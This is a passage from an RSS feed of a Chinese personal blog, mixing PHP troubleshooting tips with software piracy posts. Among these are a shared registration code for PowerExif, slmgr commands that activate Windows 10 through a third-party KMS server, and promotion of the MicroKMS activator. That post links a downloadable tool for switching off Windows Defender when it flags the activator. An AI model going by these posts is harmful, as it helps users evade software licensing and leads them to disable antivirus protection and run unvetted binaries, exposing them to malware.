style="box-sizing:border-box;outline:0px;word-break:break-all;">信息</span></span><span style="box-sizing:border-box;outline:0px;word-break:break-all;font-size:14px;"><span style="box-sizing:border-box;outline:0px;word-break:break-all;">可能丢失。</span></span><br style="box-sizing:border-box;outline:0px;word-break:break-all;font-size:14px;" />
<span style="box-sizing:border-box;outline:0px;word-break:break-all;font-size:14px;"><span style="box-sizing:border-box;outline:0px;word-break:break-all;">&nbsp; &nbsp; &nbsp; &nbsp;简单来说，EXIF&nbsp;</span></span><span style="box-sizing:border-box;outline:0px;word-break:break-all;font-size:14px;"><span style="box-sizing:border-box;outline:0px;word-break:break-all;">信息</span></span><span style="box-sizing:border-box;outline:0px;word-break:break-all;font-size:14px;"><span style="box-sizing:border-box;outline:0px;word-break:break-all;">就是由数码相机在拍摄过程中采集一系列的</span></span><span style="box-sizing:border-box;outline:0px;word-break:break-all;font-size:14px;"><span style="box-sizing:border-box;outline:0px;word-break:break-all;">信息</span></span><span style="box-sizing:border-box;outline:0px;word-break:break-all;font-size:14px;"><span style="box-sizing:border-box;outline:0px;word-break:break-all;">，然后把</span></span><span style="box-sizing:border-box;outline:0px;word-break:break-all;font-size:14px;"><span style="box-sizing:border-box;outline:0px;word-break:break-all;">信息</span></span><span style="box-sizing:border-box;outline:0px;word-break:break-all;font-size:14px;"><span style="box-sizing:border-box;outline:0px;word-break:break-all;">放置在我们熟知的 JPEG/TIFF 文件的头部，</span></span><span style="box-sizing:border-box;outline:0px;word-break:break-all;font-size:14px;"><span style="box-sizing:border-box;outline:0px;word-break:break-all;">&nbsp;也就是说 EXIF&nbsp;</span></span><span style="box-sizing:border-box;outline:0px;word-break:break-all;font-size:14px;"><span style="box-sizing:border-box;outline:0px;word-break:break-all;">信息</span></span><span style="box-sizing:border-box;outline:0px;word-break:break-all;font-size:14px;"><span style="box-sizing:border-box;outline:0px;word-break:break-all;">是镶嵌在 JPEG/TIFF 图像文件格式内的一组拍摄参数，主要包括摄影时的光圈、快门、ISO、日期时间等各种</span></span><span style="box-sizing:border-box;outline:0px;word-break:break-all;font-size:14px;"><span style="box-sizing:border-box;outline:0px;word-break:break-all;">与当时摄影条件相关的讯息，相机品牌型号，色彩编码，拍摄时录制的声音以及全球定位系统（GPS）等</span></span><span style="box-sizing:border-box;outline:0px;word-break:break-all;font-size:14px;"><span style="box-sizing:border-box;outline:0px;word-break:break-all;">信息</span></span><span style="box-sizing:border-box;outline:0px;word-break:break-all;font-size:14px;"><span style="box-sizing:border-box;outline:0px;word-break:break-all;">。</span></span><br style="box-sizing:border-box;outline:0px;word-break:break-all;font-size:14px;" />
</span>
	</p>
	<p style="color:#333333;font-family:&quot;font-size:18px;white-space:normal;background-color:rgba(255, 255, 255, 0.8);margin-top:0px;margin-bottom:15px;padding:0px;list-style:none;">
		<span style="box-sizing:border-box;outline:0px;word-break:break-all;font-family:微软雅黑;"><span style="box-sizing:border-box;outline:0px;word-break:break-all;font-size:14px;"><span style="box-sizing:border-box;outline:0px;word-break:break-all;">&nbsp; &nbsp; 简单的说，它就好像是傻瓜相机的日期打印功能一样，只不过 EXIF&nbsp;</span></span><span style="box-sizing:border-box;outline:0px;word-break:break-all;font-size:14px;"><span style="box-sizing:border-box;outline:0px;word-break:break-all;">信息</span></span><span style="box-sizing:border-box;outline:0px;word-break:break-all;font-size:14px;"><span style="box-sizing:border-box;outline:0px;word-break:break-all;">所记录的资讯更为详尽和完备。&nbsp;</span>&nbsp; &nbsp;</span></span>
	</p>
	<div style="color:#333333;font-family:Helvetica, &quot;line-height:24px;font-size:18px;white-space:normal;">
		<br />
	</div>
<span style="font-family:'Helvetica, line-height:24px;"><span style="font-size:18px;"></span></span><br />
</span></span></span>
</p>
<p style="font-size:18px;white-space:normal;">
	<span style="box-sizing:border-box;outline:0px;word-break:break-all;font-family:微软雅黑;"><span style="box-sizing:border-box;outline:0px;word-break:break-all;font-size:14px;"><span style="font-size:18px;white-space:normal;color:#333333;font-family:Helvetica, &quot;line-height:24px;">软件下载：</span><a href="https://pan.baidu.com/s/1pez5jyJFVRGIU20xWMlO1g" target="_blank" style="cursor:url(&quot;color:#4488BB;text-decoration-line:none;font-size:18px;white-space:normal;background-color:#FFFFFF;font-family:Helvetica, &quot;line-height:24px;"><span>https://pan.baidu.com/s/1pez5jyJFVRGIU20xWMlO1g</span></a><span style="font-size:18px;white-space:normal;color:#333333;font-family:Helvetica, &quot;line-height:24px;">&nbsp;密码：zz00</span><span></span><br />
</span></span>
</p>
<p style="font-size:18px;white-space:normal;">
	<span style="box-sizing:border-box;outline:0px;word-break:break-all;font-family:微软雅黑;"><span style="box-sizing:border-box;outline:0px;word-break:break-all;font-size:14px;">1.解压压缩包，运行主程序（ 倒数第6个 PowerExif 这个），弹出程序窗口。<br />
2. 【电脑已经授权，注意前后不要复制上空格】<br />
①用户名：&nbsp; admin<br />
②注册码：&nbsp; BF909E4F-715C07CB-E8514E83-2932EA35<br />
</span></span>
</p>
<p style="font-size:18px;white-space:normal;">
	<span style="box-sizing:border-box;outline:0px;word-break:break-all;font-family:微软雅黑;"><span style="box-sizing:border-box;outline:0px;word-break:break-all;font-size:14px;"><a target="_blank" href="https://www.zuoer.xin/content/uploadfile/201809/258f1537088444.png" id="ematt:55"><img src="https://www.zuoer.xin/content/uploadfile/201809/thum-258f1537088444.png" title="点击查看原图" alt="26.png" border="0" width="420" height="332" /></a><br />
</span></span>
</p>
<p style="font-size:18px;white-space:normal;">
	<span style="box-sizing:border-box;outline:0px;word-break:break-all;font-family:微软雅黑;"><span style="box-sizing:border-box;outline:0px;word-break:break-all;font-size:14px;"><a target="_blank" href="https://www.zuoer.xin/content/uploadfile/201809/a9691537087535.png" id="ematt:53"><img src="https://www.zuoer.xin/content/uploadfile/201809/thum-a9691537087535.png" title="点击查看原图" alt="25.png" border="0" width="420" height="199" /></a><br />
</span></span>
</p>
<p style="font-size:18px;white-space:normal;">
	<span style="box-sizing:border-box;outline:0px;word-break:break-all;font-family:微软雅黑;"><a target="_blank" href="https://www.zuoer.xin/content/uploadfile/201809/b9151537088923.png" id="ematt:57"><img src="https://www.zuoer.xin/content/uploadfile/201809/thum-b9151537088923.png" title="点击查看原图" alt="28.png" border="0" width="420" height="254" /></a><br />
</span>
</p>
<p style="font-size:18px;white-space:normal;">
	<a target="_blank" href="https://www.zuoer.xin/content/uploadfile/201809/50041537088941.png" id="ematt:59"><img src="https://www.zuoer.xin/content/uploadfile/201809/thum-50041537088941.png" title="点击查看原图" alt="29.png" border="0" width="420" height="292" /></a>
</p>
<p style="font-size:18px;white-space:normal;">
	<br />
</p>
<p style="font-size:18px;white-space:normal;">
	<a target="_blank" href="https://www.zuoer.xin/content/uploadfile/201809/19ee1537088947.png" id="ematt:61"><img src="https://www.zuoer.xin/content/uploadfile/201809/thum-19ee1537088947.png" title="点击查看原图" alt="30.png" border="0" width="420" height="292" /></a>
</p>
</span>]]></description>
	<pubDate>Sun, 16 Sep 2018 08:42:59 +0000</pubDate>
	<author>zuoer</author>
	<guid>https://www.zuoer.xin/?post=21</guid>

</item>
<item>
	<title>Win10最新激活密钥（推荐）</title>
	<link>https://www.zuoer.xin/?post=20</link>
	<description><![CDATA[<p>
	<span style="font-family:&quot;font-size:16px;white-space:normal;">网上有很多激活系统软件，但很多都是有毒的。不推荐使用！</span> 
</p>
<p>
	<span style="font-family:&quot;font-size:16px;white-space:normal;"><br />
</span> 
</p>
<p>
	<span style="font-family:&quot;font-size:16px;white-space:normal;">今天左耳给大家介绍的是无毒、安全的方法，此方法很早就出来了，但最近刚建的博客，想发点有用的东西！</span> 
</p>
<p>
	<span style="font-family:font-size:medium;white-space:normal;"><span style="font-size:16px;">方法：</span></span> 
</p>
<p>
	<br />
</p>
<p>
	<span style="font-family:&quot;font-size:16px;white-space:normal;">1、按WIN+X，然后选择”命令提示符（管理员）“；</span> 
</p>
<p>
	<span style="font-family:&quot;font-size:medium;white-space:normal;"> </span> 
</p>
<p style="font-family:&quot;font-size:medium;white-space:normal;">
	<span style="font-size:16px;">2、打开命令提示符后，依次执行以下命令：（输入一句回车一次）如下图：</span> 
</p>
<p style="font-family:&quot;font-size:medium;white-space:normal;">
	<span style="font-size:16px;"><br />
</span> 
</p>
<p style="font-family:&quot;font-size:medium;white-space:normal;">
	<a target="_blank" href="https://www.zuoer.xin/content/uploadfile/201809/24841536983441.png" id="ematt:51"><img src="https://www.zuoer.xin/content/uploadfile/201809/24841536983441.png" title="点击查看原图" alt="24.png" border="0" width="1117" height="842" /></a>
</p>
<p style="font-family:&quot;font-size:medium;white-space:normal;">
	<br />
</p>
<p style="font-family:&quot;font-size:medium;white-space:normal;">
	<span style="font-size:16px;">slmgr.vbs /upk<br />
<br />
slmgr /ipk NPPR9-FWDCX-D2C8J-H872K-2YT43<br />
<br />
slmgr /skms zh.us.to<br />
<br />
slmgr /ato<br />
</span> 
</p>
<p style="font-family:&quot;font-size:medium;white-space:normal;">
	<span style="font-size:16px;"><br />
</span> 
</p>
<p>
	<span style="font-family:&quot;font-size:medium;white-space:normal;"><a target="_blank" href="https://www.zuoer.xin/content/uploadfile/201809/7ae51536914777.png" id="ematt:49"><img src="https://www.zuoer.xin/content/uploadfile/201809/7ae51536914777.png" title="点击查看原图" alt="23.png" border="0" width="1139" height="791" /></a><br />
</span> 
</p>
<p>
	<br />
</p>
<p>
	<br />
</p>]]></description>
	<pubDate>Fri, 14 Sep 2018 08:38:23 +0000</pubDate>
	<author>zuoer</author>
	<guid>https://www.zuoer.xin/?post=20</guid>

</item>
<item>
	<title>KMS在线激活windows10、windows8/8.1、windows7和office2016/2013之MicroKMS</title>
	<link>https://www.zuoer.xin/?post=19</link>
	<description><![CDATA[<p style="margin-top:10px;margin-bottom:15px;padding:0px;word-break:break-all;text-indent:30px;font-family:&quot;font-size:14px;white-space:normal;background-color:#F6F4E9;">
	<br />
</p>
<p style="margin-top:10px;margin-bottom:15px;white-space:normal;padding:0px;word-break:break-all;text-indent:30px;font-family:&quot;font-size:14px;background-color:#F6F4E9;">
	<span style="font-size:32px;">当然了我一直都用这个方法激活：无毒，安全！</span> 
</p>
<p style="margin-top:10px;margin-bottom:15px;white-space:normal;padding:0px;word-break:break-all;text-indent:30px;font-family:&quot;font-size:14px;background-color:#F6F4E9;">
	<span style="font-size:32px;"><a href="https://www.zuoer.xin/?post=20" target="_blank"><span style="color:#E53333;">Win10最新激活密钥（推荐）</span></a><br />
</span> 
</p>
<p style="margin-top:10px;margin-bottom:15px;white-space:normal;padding:0px;word-break:break-all;text-indent:30px;font-family:&quot;font-size:14px;background-color:#F6F4E9;">
	<span style="font-size:32px;">以下方法为备用（不推荐）</span>
</p>
<p>
	<br />
</p>
<p style="margin-top:10px;margin-bottom:15px;padding:0px;word-break:break-all;text-indent:30px;font-family:&quot;font-size:14px;white-space:normal;background-color:#F6F4E9;">
	今天左耳给大家介绍一款可以在线激活win10、win8/8.1和office2016、2013等的kms激活工具，其实我们发布这款软件已经很久了，但一直没有对软件进行书面描述，以至于很多同学拿到工具后无从下手，从而无法激活windows和office，从微软发布win8以来，针对win10、win8/8.1系统的激活工具层出不穷，但是目前网络上的激活工具鱼目混珠，杂乱无章，于是亦是美网络推出了MicroKMS 神龙版。
</p>
<p style="margin-top:10px;margin-bottom:15px;padding:0px;word-break:break-all;text-indent:30px;font-family:&quot;font-size:14px;white-space:normal;background-color:#F6F4E9;">
	目前MicroKMS神龙版能激活win10、win8/8.1、win7以及server2008/2012/2016等系统版本，其中包括：专业工作站版、企业版、专业版、教育版、专业教育版、家庭版、核心版、中文版（OEM预装系统版本）、单语言版等，同时支持激活office 2010/2013/2016 Proplus、Visio 2010/2013/2016 Pro、Project 2010/2013/2016 Pro。
</p>
<p style="margin-top:10px;margin-bottom:15px;padding:0px;word-break:break-all;text-indent:30px;font-family:&quot;font-size:14px;white-space:normal;background-color:#F6F4E9;">
	<br />
</p>
<p style="margin-top:10px;margin-bottom:15px;padding:0px;word-break:break-all;text-indent:30px;font-family:&quot;font-size:14px;white-space:normal;background-color:#F6F4E9;">
	<span style="font-size:medium;"><span style="color:#FF0000;"><strong>当前最新版本：MicroKMS_v18.08.09</strong></span></span> 
</p>
<p style="margin-top:10px;margin-bottom:15px;padding:0px;word-break:break-all;text-indent:30px;font-family:&quot;font-size:14px;white-space:normal;background-color:#F6F4E9;">
	如果win10系统自带的windows defender误报病毒，<a href="http://www.yishimei123.com/download/%E4%B8%80%E9%94%AE%E5%85%B3%E9%97%ADWindows%20Defender.exe" style="color:#670E1A;">请下载一键关闭WD工具(点此下载)</a> 
</p>
<p style="margin-top:10px;margin-bottom:15px;padding:0px;word-break:break-all;text-indent:30px;font-family:&quot;font-size:14px;white-space:normal;background-color:#F6F4E9;">
	<span style="font-size:18px;">下载地址：</span><a href="https://pan.baidu.com/s/19YzrOrhYKZO1DOGlsDznDQ" target="_blank"><span style="font-size:18px;">https://pan.baidu.com/s/19YzrOrhYKZO1DOGlsDznDQ </span></a><span style="font-size:18px;">密码：yqg1</span><a href="https://pan.baidu.com/s/1LPARE4ti52ILhbsueuyUHg" style="color:#670E1A;"></a> 
</p>
<p style="margin-top:10px;margin-bottom:15px;padding:0px;word-break:break-all;text-indent:30px;font-family:&quot;font-size:14px;white-space:normal;background-color:#F6F4E9;">
	<span style="font-size:18px;"><a target="_blank" href="https://www.zuoer.xin/content/uploadfile/201809/75c11536914146.png" id="ematt:45"><img src="https://www.zuoer.xin/content/uploadfile/201809/thum-75c11536914146.png" title="点击查看原图" alt="22.png" border="0" width="222" height="460" /></a><br />
</span> 
</p>
<p style="margin-top:10px;margin-bottom:15px;padding:0px;word-break:break-all;text-indent:30px;font-family:&quot;font-size:14px;white-space:normal;background-color:#F6F4E9;">
	<span style="font-size:18px;"> </span>
</p>
<p style="margin-top:10px;margin-bottom:15px;padding:0px;word-break:break-all;text-indent:30px;font-family:&quot;font-size:14px;white-space:normal;background-color:#F6F4E9;">
	MicroKMS 神龙版更新历史：<br />
<span style="color:#E74C3C;"><strong>v18.08.09更新说明：</strong></span><br />
1、优化了程序结构，win10自带windows defender不再误报<br />
2、其他一些bugs的修复<br />
<strong>v18.07.09</strong><br />
1、优化了激活性能<br />
2、修正了一些小bug<br />
3、增添了迅雷VIP会员获取功能<br />
<strong>v18.03.31更新说明：</strong><br />
1、增加了对win2008 HPC和win2008 R2 HPC的激活支持<br />
2、增加了一键开启/关闭Windows Defender功能<br />
3、增加了win10系统的基本优化功能<br />
4、性能体验的提升<br />
<strong>v17.12.25更新说明</strong><br />
1、增加了对win10专业教育版的激活支持<br />
2、增添了常用工具、软件资源列表按钮<br />
3、优化了激活机制和部分bug的修复<br />
<strong>v17.09.15更新说明</strong><br />
1、修正了在某些情况下无法识别office的问题<br />
2、完善了对windows系统各版本的激活机制<br />
3、更加友好的激活体验<br />
<strong>v17.06.25更新说明：</strong><br />
1、增加了对win10企业政府版的激活支持<br />
2、修正了激活windows server 2008/2012出现的问题<br />
3、一些界面、细节上的更新<br />
<strong>v17.02.14更新说明：</strong><br />
1、优化了软件架构<br />
2、增添了激活帮助内容<br />
3、增加了微信捐助方式<br />
<strong>v16.12.25更新说明：</strong><br />
1、优化了系统激活机制<br />
2、修整了软件界面细节等<br />
<strong>v16.09.10更新说明：</strong><br />
<span style="color:#FF0000;"><span style="color:#000000;">1、修复了激活office2010、2013时提示尚未安装的问题</span><br />
<strong><span style="color:#000000;">v16.09.09更新说明：</span></strong><br />
<span style="color:#000000;">1、增加了对Visio 2010/2013/2016 Pro的激活支持<br />
2、增加了对Project 2010/2013/2016 Pro的激活支持<br />
3、增加了"退出程序不弹出网页"的取消方法</span></span><br />
4、整合了部分激活按钮<br />
5、修复了一些小bug<br />
<span style="color:#FF0000;"><strong><span style="color:#000000;">v16.08.23更新说明：</span></strong><br />
<span style="color:#000000;">1、增加了对win10 企业版 2016 LTSB的激活支持<br />
2、增加了对windows server 2016服务器版本的激活支持<br />
3、改进了对office2016零售版/VOL版的激活支持<br />
4、修正了一些其他软件问题</span><br />
<strong><span style="color:#000000;">v16.08.01更新说明：</span></strong><br />
<span style="color:#000000;">1、进一步修正完善office2016激活机制，解决部分同学无法激活的问题<br />
2、优化了程序功能，增加了部分内容</span><br />
<span style="color:#000000;"><strong>v16.07.01更新说明：</strong><br />
1、修正了office2016 proplus零售版的激活机制，可一键激活</span></span><br />
<strong>v16.06.26更新说明：</strong><br />
1、调整并优化了激活流程，新版本功能更强大<br />
2、重新改写了office2016&nbsp;Proplus的激活机制<br />
3、修复了一些其他问题<br />
<strong>v15.09.27更新说明：</strong><br />
1、修正了部分同学无法激活office 2016 Proplus的问题<br />
<strong>v15.09.25更新说明：</strong><br />
<span style="color:#FF0000;"><span style="color:#000000;">1、新增了对office2016 proplus 零售版/VOL版的激活支持<br />
2、优化了退出程序不弹出网页的选项</span></span><br />
<strong>v15.09.19更新说明：</strong><br />
1、增加了退出程序不弹出网页的选项。<br />
<strong>v15.08.29更新说明：</strong><br />
1、修改了office2013/2016版本的激活机制。<br />
2、调整了KMS激活服务器。<br />
<strong>v15.08.01更新说明：</strong><br />
1、修正了对win10家庭中文版（特定国家版）和家庭单语言版的激活bug。<br />
<strong>v15.07.31更新说明：</strong><br />
1、增加了对Windows10 Enterprise 2015 LTSB版的激活支持。<br />
<strong>v15.07.29更新说明：</strong><br />
1、增加了对win10系统系列版本的激活支持。<br />
2、增加了对office 2016 pro plus的激活支持。<br />
3、增加了"捐助支持我们"按钮。&nbsp;<br />
<strong>v14.12.14更新说明：</strong><br />
1、修正了激活win7专业版时的错误提示<br />
2、增加了对服务器版本的系统激活的支持，如Windows&nbsp;server 2008 / 2012等。<br />
<strong>v14.10.30更新说明：</strong><br />
1、增加了对win8/8.1单语言版（CoreSingleLanguage）的激活支持。<br />
2、添加了控件按钮提示，当鼠标放在某一按钮上时自动弹出提示说明。<br />
<strong>v14.10.13更新说明：</strong><br />
1、增加了对win7专业版、企业版的激活支持<br />
2、增加了对office2010 pro plus 的激活支持<br />
3、增加了显示系统版本位数（32位、64位）<br />
<strong>v14.10.05更新说明：</strong><br />
1、去掉了被某卫士误报有毒的内容<br />
2、该软件绝对绿色无毒，大家可以放心的使用。<br />
<strong>v14.09.23更新说明：</strong><br />
1、取消了visio/projicet2013的kms激活，改为直接获取密钥在线激活。<br />
<strong>v14.09.03更新说明：</strong><br />
1、修正了激活office2013的一个小bug<br />
2、进一步改善了激活机制<br />
<strong>v14.08.28更新说明：</strong><br />
1、增加了对win8/8.1 preview版本的检测判断<br />
2、新增了对visio2013 pro和project2013 pro vol版的激活<br />
3、改变了一些按钮体验<br />
<strong>v14.08.12更新说明：</strong><br />
1、修正了激活win8.1专业版（含WMC）时出现密钥被阻止的错误<br />
<strong>v14.08.10更新说明：</strong><br />
1、增加了win8/8.1 中文版、proWMC版等的激活支持<br />
<strong>v14.6.06更新说明：</strong><br />
1、优化了程序的执行效率<br />
2、去除了一些不必要的内容<br />
<strong>v14.5.12更新说明：</strong><br />
1、去掉了一些文字描述<br />
2、修正了软件主程序被杀毒软件误杀<br />
<strong>v14.4.24更新说明：</strong><br />
1、增加了激活win8/8.1核心版功能<br />
2、修复了软件一处小bug<br />
<strong>v14.4.22修正说明：</strong><br />
1、进一步精简激活操作，优化了激活过程<br />
<strong>v14.2.21修正说明：</strong><br />
1、激活更加简单，更加易懂<br />
2、增加了最新密钥的获取按钮<br />
3、操作界面上的一些简单优化<br />
<strong>v14.1.20修正说明：</strong><br />
1、修复了点击“激活 office2013 pro plus 版（VL）”无反应的bug。
</p>
<p style="margin-top:10px;margin-bottom:15px;padding:0px;word-break:break-all;text-indent:30px;font-family:&quot;font-size:14px;white-space:normal;background-color:#F6F4E9;">
	知识普及：并非只有VL版的系统和office，才可以使用kms激活，零售版、中文版等也可使用kms激活。VL=VOL=大客户版=批量授权版，这里简单说下win8/8.1/10和office2013/2016的版本分类，win10分为企业版、企业版G、教育版、专业版、家庭中文版以及后出的工作站版本等，win8/8.1大致分为核心版、专业版、企业版、预装版等，其中专业版又分为零售版和VOL版。office2013/2016大致分为标准版、专业版、专业加强版等，其中专业（加强版）也分为零售版和VOL版，他们之间除了激活机制不同外，在功能上并无大的差别，另外win8/8.1/10企业版均为VOL版。
</p>
<span style="font-size:14px;">转自</span><span style="font-size:14px;">http://www.yishimei123.com/network/319.html</span><span style="font-size:14px;"></span><br />
<p>
	<br />
</p>]]></description>
	<pubDate>Fri, 14 Sep 2018 08:22:20 +0000</pubDate>
	<author>zuoer</author>
	<guid>https://www.zuoer.xin/?post=19</guid>

</item>
<item>
	<title>Call to undefined function mb_detect_encoding()错误的处理方法</title>
	<link>https://www.zuoer.xin/?post=18</link>
	<description><![CDATA[call to undefined function mb_convert_encoding in。。。<br />
<br />
在网上找了一些解决方法，基本上都是windows下的php解决方法。<br />
<br />
在php.ini中开启mbstring函数库：去掉extension=php_mbstring.dll前面的分号;<br />
<br />
linux解决方法<br />
<br />
首先安装 php-mbstring库文件：<br />
<br />
yum install php-mbstring<br />
<br />
之后，修改/etc/php.ini文件，在里面加一句<br />
<br />
extension=mbstring.so<br />
<br />
保存后重启httpd服务。<br />
<br />
service httpd restart<br />
<br />
<br />
有可能要重新编译安装php：<br />
<p>
	# ./configure --enable-mbstring
</p>
<p>
	转自https://blog.csdn.net/hanshileiai/article/details/38445013
</p>]]></description>
	<pubDate>Thu, 13 Sep 2018 10:18:41 +0000</pubDate>
	<author>zuoer</author>
	<guid>https://www.zuoer.xin/?post=18</guid>

</item>
<item>
	<title>Unable to find the wrapper &quot;https&quot;错误的解决办法</title>
	<link>https://www.zuoer.xin/?post=17</link>
	<description><![CDATA[<span style="color:#1A1A1A;font-family:&quot;font-size:16px;font-style:normal;font-variant:normal;font-weight:normal;letter-spacing:normal;line-height:28px;text-align:left;text-indent:0px;text-transform:none;white-space:normal;word-spacing:0px;-webkit-text-stroke-width:0px;display:inline !important;float:none;">PHP.ini默认配置下，用file_get_contents读取https的链接，就会如下错误：</span><br />
<span style="color:#1A1A1A;font-family:&quot;font-size:16px;font-style:normal;font-variant:normal;font-weight:normal;letter-spacing:normal;line-height:28px;text-align:left;text-indent:0px;text-transform:none;white-space:normal;word-spacing:0px;-webkit-text-stroke-width:0px;display:inline !important;float:none;">Warning: fopen() [function.fopen]: Unable to find the wrapper "https" - did you forget to enable it when you configured PHP?</span><br />
<br />
<span style="color:#1A1A1A;font-family:&quot;font-size:16px;font-style:normal;font-variant:normal;font-weight:normal;letter-spacing:normal;line-height:28px;text-align:left;text-indent:0px;text-transform:none;white-space:normal;word-spacing:0px;-webkit-text-stroke-width:0px;display:inline !important;float:none;">这个错误分3种解决方案：</span><br />
<span style="color:#1A1A1A;font-family:&quot;font-size:16px;font-style:normal;font-variant:normal;font-weight:normal;letter-spacing:normal;line-height:28px;text-align:left;text-indent:0px;text-transform:none;white-space:normal;word-spacing:0px;-webkit-text-stroke-width:0px;display:inline !important;float:none;">1.windows下的PHP，只需要到php.ini中把extension=php_openssl.dll前面的;删掉，重启服务就可以了。</span><br />
<br />
<span style="color:#1A1A1A;font-family:&quot;font-size:16px;font-style:normal;font-variant:normal;font-weight:normal;letter-spacing:normal;line-height:28px;text-align:left;text-indent:0px;text-transform:none;white-space:normal;word-spacing:0px;-webkit-text-stroke-width:0px;display:inline !important;float:none;">2.linux下的PHP，就必须安装openssl模块，安装好了以后就可以访问了。</span><br />
<br />
<p>
	<span style="color:#1A1A1A;font-family:&quot;font-size:16px;font-style:normal;font-variant:normal;font-weight:normal;letter-spacing:normal;line-height:28px;text-align:left;text-indent:0px;text-transform:none;white-space:normal;word-spacing:0px;-webkit-text-stroke-width:0px;display:inline !important;float:none;">3.如果服务器你不能修改配置的话，那么就使用curl函数来替代file_get_contents函数，当然不是简单的替换啊。还有相应的参数配置才能正常使用curl函数。 <br />
</span>
</p>
<p>
	<span style="color:#1A1A1A;font-family:&quot;font-size:16px;font-style:normal;font-variant:normal;font-weight:normal;letter-spacing:normal;line-height:28px;text-align:left;text-indent:0px;text-transform:none;white-space:normal;word-spacing:0px;-webkit-text-stroke-width:0px;display:inline !important;float:none;">转自https://my.oschina.net/angelangel/blog/390444</span>
</p>]]></description>
	<pubDate>Thu, 13 Sep 2018 10:12:47 +0000</pubDate>
	<author>zuoer</author>
	<guid>https://www.zuoer.xin/?post=17</guid>

</item>
<item>
	<title>考研资料（数学）</title>
	<link>https://www.zuoer.xin/?post=15</link>
	<description><![CDATA[<br />
<p>
	<span style="font-size:18px;">个人感觉这个文件夹里的资料不错</span>
</p>
<p>
	<a target="_blank" href="https://zuoer.xin/content/uploadfile/201809/72121536752540.png" id="ematt:41"><img src="https://zuoer.xin/content/uploadfile/201809/thum-72121536752540.png" title="点击查看原图" alt="QQ20180912-194204@2x.png" width="420" height="154" border="0" /></a> 
</p>
<p>
	<span style="font-size:18px;">我学到第二节</span>
</p>
<p>
	<a target="_blank" href="https://zuoer.xin/content/uploadfile/201809/af0c1536752762.png" id="ematt:43"><img src="https://zuoer.xin/content/uploadfile/201809/thum-af0c1536752762.png" title="点击查看原图" alt="QQ20180912-194117@2x.png" width="420" height="228" border="0" /></a> 
</p>
<p>
	<span style="font-size:18px;">大家一起加油！</span>
</p>
<p>
	<span style="font-size:18px;"><br />
</span>
</p>
<p>
	<span style="font-size:24px;">链接:<a href="https://pan.baidu.com/s/1b9hawf_ABF9e8NUtcQTXzw" target="_blank">https://pan.baidu.com/s/1b9hawf_ABF9e8NUtcQTXzw</a>&nbsp; 密码:nl8c</span>
</p>
<p>
	<span style="font-size:24px;"><br />
</span>
</p>
<p>
	<span style="font-size:24px;"><span style="font-size:14px;">如有侵权联系本人删除，QQ：46766806 &amp; 2413673661</span><br />
</span>
</p>]]></description>
	<pubDate>Wed, 12 Sep 2018 11:40:53 +0000</pubDate>
	<author>zuoer</author>
	<guid>https://www.zuoer.xin/?post=15</guid>

</item>
<item>
	<title>道客巴巴文件下载</title>
	<link>https://www.zuoer.xin/?post=14</link>
	<description><![CDATA[<p>
	不介绍了直接上软件
</p>
<p>
	链接：<a href="https://pan.baidu.com/s/1MKF2mjcdLWND6ns46x2CRA" target="_blank">https://pan.baidu.com/s/1MKF2mjcdLWND6ns46x2CRA </a>密码：9m4m
</p>
<p>
	感谢对左耳博客的支持！
</p>]]></description>
	<pubDate>Wed, 12 Sep 2018 06:49:15 +0000</pubDate>
	<author>zuoer</author>
	<guid>https://www.zuoer.xin/?post=14</guid>

</item>
<item>
	<title>PHP乱码问题，UTF-8（乱码）</title>
	<link>https://www.zuoer.xin/?post=13</link>
	<description><![CDATA[<div id="cnblogs_post_body" class="blogpost-body" style="margin:0px 0px 20px;padding:0px;word-break:break-word;color:#333333;line-height:1.8;font-family:Verdana, Arial, Helvetica, sans-serif;font-size:14px;white-space:normal;background-color:#FFFFFF;">
	<p style="margin:10px auto;padding:0px;">
		<strong style="margin:0px;padding:0px;">一.HTML页面转UTF-8编码问题&nbsp;</strong><br style="margin:0px;padding:0px;" />
1.在head后，title前加入一行：
	</p>
	<div style="margin:0px;padding:0px;">
		&lt;meta http-equiv='Content-Type' content='text/html; charset=utf-8' /&gt;
	</div>
	<p style="margin:10px auto;padding:0px;">
		顺序不能错，一定要在
	</p>
	<p style="margin:10px auto;padding:0px;">
		显示的标题有可能是乱码！
	</p>
	<p style="margin:10px auto;padding:0px;">
		2.html文件编码问题:
	</p>
	<blockquote class="blockquote" style="margin:0px;padding:5px 10px;background:none;border-top:none;border-right:none;border-bottom:none;border-left:5px solid #DDDDDD;border-image:initial;">
		点击编辑器的菜单：“文件”-&gt;“另存为”，可以看到当前文件的编码，确保文件编码为：UTF-8，&nbsp;<br style="margin:0px;padding:0px;" />
如果是ANSI，需要将编码改成：UTF-8。&nbsp;<br style="margin:0px;padding:0px;" />
3.HTML文件头BOM问题：&nbsp;<br style="margin:0px;padding:0px;" />
将文件从其他的编码转换成UTF-8编码时，有时候会在文件的最开始加上一个BOM标签，&nbsp;<br style="margin:0px;padding:0px;" />
在个BOM标签可能会导致浏览器在显示中文的时候出现乱码。&nbsp;<br style="margin:0px;padding:0px;" />
删除这个BOM标签的方法：&nbsp;<br style="margin:0px;padding:0px;" />
1.可以用Dreamweaver打开文件，并重新保存，即可以去除BOM标签！&nbsp;<br style="margin:0px;padding:0px;" />
2.可以用EditPlus打开文件，并在菜单“首选项”-&gt;“文件”-&gt;"UTF-8标识"，设置为：“总是删除签名”，&nbsp;<br style="margin:0px;padding:0px;" />
然后保存文件，即可以去除BOM标签！&nbsp;<br style="margin:0px;padding:0px;" />
4.WEB服务器UTF-8编码问题：&nbsp;<br style="margin:0px;padding:0px;" />
如果你按以上所列的步骤做了，还是有中文乱码问题，&nbsp;<br style="margin:0px;padding:0px;" />
请检查你的所使用的WEB服务器的编码问题&nbsp;<br style="margin:0px;padding:0px;" />
如果你使用的是Apache，请将配置文件里的：charset 设成：utf-8(这里仅列出方法，具体格式请参考apache的配置文件)&nbsp;<br style="margin:0px;padding:0px;" />
如果你使用的是Nginx，请将nginx.conf里的：charset 设成 utf-8，&nbsp;<br style="margin:0px;padding:0px;" />
具体找到 "charset gb2312;"或者类似的语句，改成：“charset utf-8;”。
	</blockquote>
	<p style="margin:10px auto;padding:0px;">
		<strong style="margin:0px;padding:0px;">二.PHP页面转UTF-8编码问题</strong>&nbsp;<br style="margin:0px;padding:0px;" />
1.在代码开始出加入一行：&nbsp;<br style="margin:0px;padding:0px;" />
header("Content-Type: text/html;charset=utf-8");
	</p>
	<p style="margin:10px auto;padding:0px;">
		2.PHP文件编码问题
	</p>
	<p style="margin:10px auto;padding:0px;">
